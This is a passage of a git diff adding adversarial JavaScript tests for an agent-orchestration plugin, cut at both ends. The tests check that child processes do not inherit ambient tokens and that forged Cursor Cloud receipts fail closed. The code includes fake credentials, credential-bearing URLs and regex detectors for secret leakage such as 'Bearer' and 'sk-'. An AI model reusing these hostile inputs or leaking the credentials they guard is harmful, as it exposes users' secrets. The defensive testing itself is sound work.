HOSTILE_ENV.XAI_API_KEY, + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + }, async () => { + const root = await mkdtemp(path.join(os.tmpdir(), `co-engineer-p29-acp-${provider}-`)); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'review this repository', + record: { + id: `${provider}-ambient`, + status: 'accepted', + provider, + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: `${provider}-ambient` }); + assert.equal(terminal.status, 'completed'); + const observed = JSON.parse(await readFile(path.join(cwd, '.acpx-fake-observed.json'), 'utf8')); + assert.equal(observed.env.SSH_AUTH_SOCK, undefined); + assert.equal(observed.env.GH_TOKEN, undefined); + assert.equal(observed.env.GITHUB_TOKEN, undefined); + assert.equal(observed.env.GIT_SSH, undefined); + assert.equal(observed.env.MODEL_API_KEY, undefined); + assert.equal(observed.env.OPENROUTER_API_KEY, undefined); + assert.equal(observed.env.CURSOR_API_KEY, undefined); + assert.equal(observed.env.WORKTREE_BOOTSTRAP_TASK, undefined); + if (provider === 'grok') { + assert.equal(observed.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + } else { + assert.equal(observed.env.XAI_API_KEY, undefined); + } + assert.equal(observed.env.FAKE_ACPX_HOSTILE, undefined); + } finally { + await rm(root, { recursive: true, force: true }); + } + }); + }); +} + +test('restart reconstructs handoff identity and cleans without exposing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-restart-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + try { + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/home/test-user', PATH: '/bin', MODEL_API_KEY: 'restart-secret-value' }, + stdio: 'ignore', + adapter: host, + }); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + assert.equal(handoff.startsWith(runtime), true); + assert.equal(JSON.stringify(launched.receipt).includes(handoff), false); + assert.equal(JSON.stringify(launched.receipt).includes('restart-secret-value'), false); + assert.equal(inspectArgvForSecrets(calls[0].args, ['restart-secret-value']), false); + const metadata = await lstat(handoff); + assert.equal(metadata.isFile(), true); + const restored = restoreProcessBoundary(launched.receipt, { adapter: host }); + await stopProcessBoundary(restored, { adapter: host, timeoutMs: 100 }); + await assert.rejects(lstat(handoff), (error) => error.code === 'ENOENT'); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('stale identity handoffs recover without echoing paths or values', async () => { + const runtime = await mkdtemp(path.join(os.tmpdir(), 'cce-p29-stale-')); + const previousRuntime = process.env.XDG_RUNTIME_DIR; + process.env.XDG_RUNTIME_DIR = runtime; + try { + const created = await createCredentialHandoff( + { MODEL_API_KEY: 'stale-secret-value' }, + { identity: 'deadbeefdeadbeefdeadbeefdeadbeef' }, + ); + await lstat(created.path); + const recovered = await recoverStaleCredentialHandoffs({ directory: runtime }); + assert.equal(recovered.recovered >= 1, true); + await assert.rejects(lstat(created.path), (error) => error.code === 'ENOENT'); + assert.equal(JSON.stringify(recovered).includes(created.path), false); + assert.equal(JSON.stringify(recovered).includes('stale-secret-value'), false); + } finally { + if (previousRuntime === undefined) delete process.env.XDG_RUNTIME_DIR; + else process.env.XDG_RUNTIME_DIR = previousRuntime; + await rm(runtime, { recursive: true, force: true }); + } +}); + +test('DSH ACPX nested children omit ambient FAKE_ACPX and secrets except closed injection', async () => { + const previousCommand = process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + try { + await withAmbientSecrets({ + FAKE_ACPX_HOSTILE: 'ambient-fake-acpx-secret', + FAKE_ACPX_MODE: 'should-not-win', + MODEL_API_KEY: HOSTILE_ENV.MODEL_API_KEY, + }, async () => { + process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = FAKE_ACPX; + installClosedProviderTestInjection({ FAKE_ACPX_MODE: 'success' }); + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-dsh-acpx-')); + const cwd = path.join(root, 'worktree'); + try { + await mkdir(cwd); + await createTask({ + root, + prompt: 'do not leak credentials', + record: { + id: 'dsh-ambient', + status: 'accepted', + provider: 'dsh', + cwd, + agent_argv: [process.execPath, FAKE_AGENT, '--mode', 'normal'], + timeout_ms: 5_000, + }, + }); + const terminal = await runAcpTask({ root, taskId: 'dsh-ambient' }); + assert.equal(terminal.status, 'completed'); + const keys = JSON.parse(await readFile(path.join(cwd, '.fake-acpx-env-keys.json'), 'utf8')); + assert.equal(keys.includes('FAKE_ACPX_MODE'), true); + assert.equal(keys.includes('FAKE_ACPX_HOSTILE'), false); + assert.equal(keys.includes('GH_TOKEN'), false); + assert.equal(keys.includes('SSH_AUTH_SOCK'), false); + assert.equal(keys.includes('GITHUB_TOKEN'), false); + assert.equal(keys.includes('WORKTREE_BOOTSTRAP_TASK'), false); + assert.equal(JSON.stringify(keys).includes('ambient-fake-acpx-secret'), false); + assert.equal(JSON.stringify(keys).includes(HOSTILE_ENV.MODEL_API_KEY), false); + } finally { + installClosedProviderTestInjection(null); + await rm(root, { recursive: true, force: true }); + } + }); + } finally { + installClosedProviderTestInjection(null); + if (previousCommand === undefined) delete process.env.CODEX_CO_ENGINEER_ACPX_COMMAND; + else process.env.CODEX_CO_ENGINEER_ACPX_COMMAND = previousCommand; + } +}); +}); diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs new file mode 100644 index 0000000..b71508e --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver-adversarial.test.mjs @@ -0,0 +1,959 @@ +// Adversarial tests for the P21 Cursor Cloud SDK adapter: hostile direct-JS +// transports, forged receipts, merge/PR/push/replay keys, secret and prompt +// leaks, and post-intent replay. Injected transport only. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + buildDriverOperationRequestV1, + validateDriverLaunchRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function errorOf(fn) { + try { + fn(); + } catch (error) { + return error; + } + throw new Error('expected a typed contract error'); +} + +function requestFor(operation, extras = {}) { + return buildDriverOperationRequestV1(operation, fixture.envelope, extras); +} + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function launchBound(script = {}) { + const transport = createScriptedCursorCloudTransportV1(script); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + return { driver, transport }; +} + +test('live and revoked proxies are denied with zero traps', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => assertCursorCloudTransportV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const { proxy, revoke } = Proxy.revocable(createScriptedCursorCloudTransportV1(), { + get() { throw new Error('revoked getter ran'); }, + }); + revoke(); + assert.equal(errorOf(() => assertCursorCloudTransportV1(proxy)).code, 'proxy_denied'); +}); + +test('hostile transport surfaces fail closed', () => { + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), retry: () => ({}) }), + 'invalid_surface'); + const incomplete = { ...createScriptedCursorCloudTransportV1() }; + delete incomplete.reattach; + expectCode(() => assertCursorCloudTransportV1(incomplete), 'invalid_surface'); + expectCode(() => assertCursorCloudTransportV1({ ...createScriptedCursorCloudTransportV1(), create: 1 }), + 'invalid_operation'); + class TransportClass {} + expectCode( + () => assertCursorCloudTransportV1(Object.assign(new TransportClass(), createScriptedCursorCloudTransportV1())), + 'exotic_prototype_denied', + ); + const accessor = {}; + Object.defineProperty(accessor, 'preflight', { enumerable: true, get: () => () => ({}) }); + for (const operation of CURSOR_CLOUD_TRANSPORT_OPERATIONS) { + if (operation === 'preflight') continue; + accessor[operation] = () => ({}); + } + expectCode(() => assertCursorCloudTransportV1(accessor), 'invalid_object'); + const symbolTransport = { ...createScriptedCursorCloudTransportV1() }; + symbolTransport[Symbol('hidden')] = () => ({}); + expectCode(() => assertCursorCloudTransportV1(symbolTransport), 'invalid_object'); +}); + +test('getter and own-undefined driver requests never invoke accessors', () => { + let reads = 0; + const getterRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + Object.defineProperty(getterRequest, 'version', { + enumerable: true, + get() { + reads += 1; + return 1; + }, + }); + assert.equal(errorOf(() => validateDriverLaunchRequestV1(getterRequest)).code, 'accessor_property_denied'); + assert.equal(reads, 0); + + const undefinedRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: undefined, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }; + assert.equal(errorOf(() => validateDriverLaunchRequestV1(undefinedRequest)).code, 'own_undefined_denied'); + expectCode(() => validateDriverLaunchRequestV1(new Proxy(requestFor('launch'), {})), 'proxy_denied'); +}); + +test('merge, create-PR, push, and replay keys stay forbidden on the driver request', () => { + for (const [key, value, code] of [ + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 'now', 'replay_or_fallback_denied'], + ['allow_post_dispatch_fallback', true, 'replay_or_fallback_denied'], + ]) { + expectCode( + () => validateDriverLaunchRequestV1({ ...requestFor('launch'), [key]: value }), + code, + `${key} must fail closed`, + ); + } +}); + +test('malformed create receipts after the SDK call are uncertain, not dispatched', () => { + const { driver, transport } = launchBound({ + create: [{ created: true, agent_id: '!!!', ...identityFields() }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(cursorCloudCallsOf(transport, 'send').length, 0); +}); + +test('forged send acknowledgements never become dispatched', () => { + const { driver } = launchBound({ + send: [{ + acknowledged: true, + agent_id: 'bc-forged', + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }], + }); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('observe PR URLs, prompt fields, and extra keys fail closed', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + pr_url: 'https://github.com/example/codex-co-engineer/pull/1', + })], + }); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'unknown_key'); +}); + +test('credential-bearing repository URLs fail closed before create', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: 'https://user:token@github.com/example/codex-co-engineer.git', + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + expectCode(() => driver.preflight(requestFor('preflight')), 'invalid_format'); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0); +}); + +test('prompt and secret markers never reach driver results or evidence', () => { + const { driver, transport } = launchBound(); + driver.launch(requestFor('launch')); + const launched = driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + const blob = `${JSON.stringify(launched)}\n${JSON.stringify(evidence)}\n${JSON.stringify(cursorCloudCallsOf(transport, 'observe')[0])}`; + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(evidence), new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(JSON.stringify(launched), /sk-|Bearer |api_key/iu); + void blob; +}); + +test('event pages reject hostile records and over-bound arrays', () => { + const { driver } = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'prompt', bytes: 12 }], + })], + }); + driver.launch(requestFor('launch')); + expectCode( + () => driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); + + const oversized = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: Array.from({ length: 33 }, () => ({ kind: 'status', bytes: 1 })), + })], + }); + oversized.driver.launch(requestFor('launch')); + expectCode( + () => oversized.driver.reconcile(requestFor('reconcile', { include: ['detailed_events'] })), + 'invalid_format', + ); +}); + +test('inspect rejects proxy queries without running traps', () => { + const { driver } = launchBound(); + driver.launch(requestFor('launch')); + const query = countingProxy({ + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(errorOf(() => inspectCursorCloudLaneEvidenceV1(driver, query.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(query.counts), 0); +}); + +test('blocked preflight details never copy transport-authored text', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: false, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'workspace_dirty', + detail_message: `dirty because ${LEAK_MARKER} and Bearer sk-live`, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.doesNotMatch(blocked.detail_message, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blocked.detail_message, /Bearer|sk-live/u); +}); + +test('createCursorCloudDriverV1 rejects a proxy transport without constructing lanes', () => { + const live = countingProxy(createScriptedCursorCloudTransportV1()); + assert.equal(errorOf(() => createCursorCloudDriverV1(live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); +}); + +function readyPreflightReceipt(overrides = {}) { + return { + ok: true, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + ...overrides, + }; +} + +function publicErrorBlob(error) { + let json = ''; + try { + json = JSON.stringify(error); + } catch { + json = ''; + } + return [ + error?.name, error?.code, error?.path, error?.message, error?.stack, + error?.cause, error?.detail, error?.details, error?.errno, error?.syscall, + error === undefined || error === null ? '' : String(error), + json, + ].map((value) => (value === undefined || value === null ? '' : String(value))).join('\n'); +} + +function assertClosedPublicError(error) { + assert.ok(error instanceof RunContractV1Error); + const blob = publicErrorBlob(error); + assert.doesNotMatch(blob, /Bearer/u); + assert.doesNotMatch(blob, /sk-live/u); + assert.doesNotMatch(blob, /Authorization/u); + assert.doesNotMatch(blob, new RegExp(LEAK_MARKER, 'u')); + assert.doesNotMatch(blob, /api[_-]?key/iu); + assert.doesNotMatch(blob, /envelope_text/u); + assert.equal(error.cause, undefined); + assert.equal(error.detail, undefined); + assert.equal(error.details, undefined); + assert.equal(error.name, 'RunContractV1Error'); +} + +test('blocker 1: preflight safety booleans missing true or nonboolean fail closed', () => { + const cases = [ + [{}, 'credential_bearing', undefined], + [{ credential_bearing: 'false' }, 'credential_bearing', 'false'], + [{ credential_bearing: 0 }, 'credential_bearing', 0], + [{ credential_bearing: true }, 'credential_bearing', true], + [{}, 'duplicate_identities', undefined], + [{ duplicate_identities: 'no' }, 'duplicate_identities', 'no'], + [{ auto_create_pr: 'false' }, 'auto_create_pr', 'false'], + [{ auto_create_pr: true }, 'auto_create_pr', true], + ]; + for (const [override, key, value] of cases) { + const receipt = readyPreflightReceipt(override); + if (value === undefined) delete receipt[key]; + const transport = createScriptedCursorCloudTransportV1({ preflight: [receipt] }); + const driver = bindCursorCloudDriverV1(transport); + assert.throws( + () => driver.preflight(requestFor('preflight')), + (error) => error instanceof RunContractV1Error, + `${key}=${String(value)} must fail closed`, + ); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 0, `${key} must not dispatch`); + } +}); + +test('blocker 2: repository identity and starting sha bind across every lifecycle receipt', () => { + const missingShaCreate = launchBound({ + create: [(request) => { + const receipt = { + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const missingShaLaunch = missingShaCreate.driver.launch(requestFor('launch')); + assert.notEqual(missingShaLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(missingShaCreate.transport, 'send').length, 0); + + const driftedRepo = launchBound({ + create: [(request) => ({ + created: true, + agent_id: request.proposed_agent_id, + ...identityFields(), + repository_identity: 'github.com/other/drifted-cloud', + })], + }); + const driftedLaunch = driftedRepo.driver.launch(requestFor('launch')); + assert.notEqual(driftedLaunch.disposition, 'dispatched'); + assert.equal(cursorCloudCallsOf(driftedRepo.transport, 'send').length, 0); + + const missingShaSend = launchBound({ + send: [(request) => { + const receipt = { + acknowledged: true, + agent_id: request.agent_id, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFields(), + }; + delete receipt.starting_sha; + return receipt; + }], + }); + const sendMissing = missingShaSend.driver.launch(requestFor('launch')); + assert.notEqual(sendMissing.disposition, 'dispatched'); + + const { driver, transport } = launchBound({ + observe: [(request) => { + const receipt = { + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + }; + delete receipt.starting_sha; + return receipt; + }], + }); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git, null); + assert.equal(cursorCloudCallsOf(transport, 'create').length, 1); +}); + +test('blocker 3: observe reattach and cancel require exact recorded run identities including branch', () => { + const omitRun = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitRun.driver.launch(requestFor('launch')); + expectCode(() => omitRun.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitBranch = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + }); + omitBranch.driver.launch(requestFor('launch')); + expectCode(() => omitBranch.driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + + const omitRequestCancel = launchBound({ + cancel: [(request) => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + ...identityFields(), + })], + }); + omitRequestCancel.driver.launch(requestFor('launch')); + expectCode(() => omitRequestCancel.driver.cancel(requestFor('cancel')), 'stale_identity_denied'); + + const omitBranchReattach = launchBound({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + })], + }); + omitBranchReattach.driver.launch(requestFor('launch')); + expectCode( + () => omitBranchReattach.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); +}); + +test('blocker 4: uncertain dispatch never observes or reattaches a substitute run', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: `lost ${LEAK_MARKER}` }], + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + })], + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: request.agent_id ?? 'bc-adopted-agent', + provider_run_id: request.provider_run_id ?? 'run-adopted-arbitrary', + request_id: request.request_id ?? 'ccr-bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb', + branch: request.branch ?? 'cursor/adopted-branch', + })], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + const observed = driver.reconcile(requestFor('reconcile')); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'observe').length, 0); + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'dispatch_uncertain'); + assert.equal(cursorCloudCallsOf(transport, 'reattach').length, 0); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.provider_run_id, null); + assert.notEqual(evidence.branch, 'cursor/adopted-branch'); +}); + +test('blocker 5: hostile cursor count and timing fail closed with content-free evidence', () => { + const hugeCursor = '7'.repeat(1_000_000); + const cursorCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: hugeCursor }, + })], + }); + cursorCase.driver.launch(requestFor('launch')); + const cursorError = errorOf( + () => cursorCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + ); + assert.equal(cursorError.code, 'invalid_format'); + assert.doesNotMatch(publicErrorBlob(cursorError), /7{32}/u); + const cursorEvidence = inspectCursorCloudLaneEvidenceV1(cursorCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(cursorEvidence.progress, null); + assert.doesNotMatch(JSON.stringify(cursorEvidence), /7{32}/u); + + const countCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1.5, elapsed_ms: 20, cursor: '1' }, + })], + }); + countCase.driver.launch(requestFor('launch')); + expectCode( + () => countCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + + const timingCase = launchBound({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + progress: { status: 'running', event_count: 1, elapsed_ms: -1, cursor: '1' }, + })], + }); + timingCase.driver.launch(requestFor('launch')); + expectCode( + () => timingCase.driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })), + 'invalid_format', + ); + const timingEvidence = inspectCursorCloudLaneEvidenceV1(timingCase.driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(timingEvidence.progress, null); +}); + +test('blocker 6: observe cancel and reattach transport exceptions collapse to closed detail', () => { + const hostile = `Authorization: Bearer sk-live ${LEAK_MARKER} prompt=envelope_text api_key=secret`; + const observeCase = launchBound({ + observe: [() => { + throw new Error(hostile); + }], + }); + observeCase.driver.launch(requestFor('launch')); + const observeError = errorOf(() => observeCase.driver.reconcile(requestFor('reconcile'))); + assertClosedPublicError(observeError); + assert.equal(observeError.code, 'transport_exception'); + + const cancelCase = launchBound({ + cancel: [() => { + const error = new Error(hostile); + error.code = 'ECONNRESET'; + error.stack = `${hostile}\n at transport`; + throw error; + }], + }); + cancelCase.driver.launch(requestFor('launch')); + const cancelError = errorOf(() => cancelCase.driver.cancel(requestFor('cancel'))); + assertClosedPublicError(cancelError); + + const reattachCase = launchBound({ + reattach: [() => { + throw Object.assign(new Error(hostile), { code: 'provider_unauthorized' }); + }], + }); + reattachCase.driver.launch(requestFor('launch')); + const reattachError = errorOf( + () => reattachCase.driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + ); + assertClosedPublicError(reattachError); +}); + +test('blocker 7: accepted truncated events store evidence_truncated true never false', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [ + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'truncated', bytes: 8 }, { kind: 'status', bytes: 4 }], + progress: { status: 'truncated', event_count: 2, elapsed_ms: 9, cursor: '2' }, + }), + (request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + events: [{ kind: 'status', bytes: 4 }], + progress: { status: 'running', event_count: 3, elapsed_ms: 12, cursor: '3' }, + }), + ], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const first = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(first.evidence_truncated, true); + driver.reconcile(requestFor('reconcile', { include: ['detailed_events', 'live_progress'] })); + const second = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(second.evidence_truncated, true); +}); + +const HOSTILE_PROVIDER_TEXT = 'Authorization: Bearer sk-live SECRET prompt=envelope_text api_key=secret'; +const HOSTILE_UNKNOWN_KEY = `hostile_${HOSTILE_PROVIDER_TEXT}`; +const HOSTILE_ERROR_MARKERS = [ + HOSTILE_PROVIDER_TEXT, HOSTILE_UNKNOWN_KEY, 'Bearer', 'sk-live', 'SECRET', + 'envelope_text', 'api_key', LEAK_MARKER, CLOUD_FIXTURE_MODEL, CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_PROVIDER_RUN_ID, CLOUD_FIXTURE_REPO_IDENTITY, +]; + +function 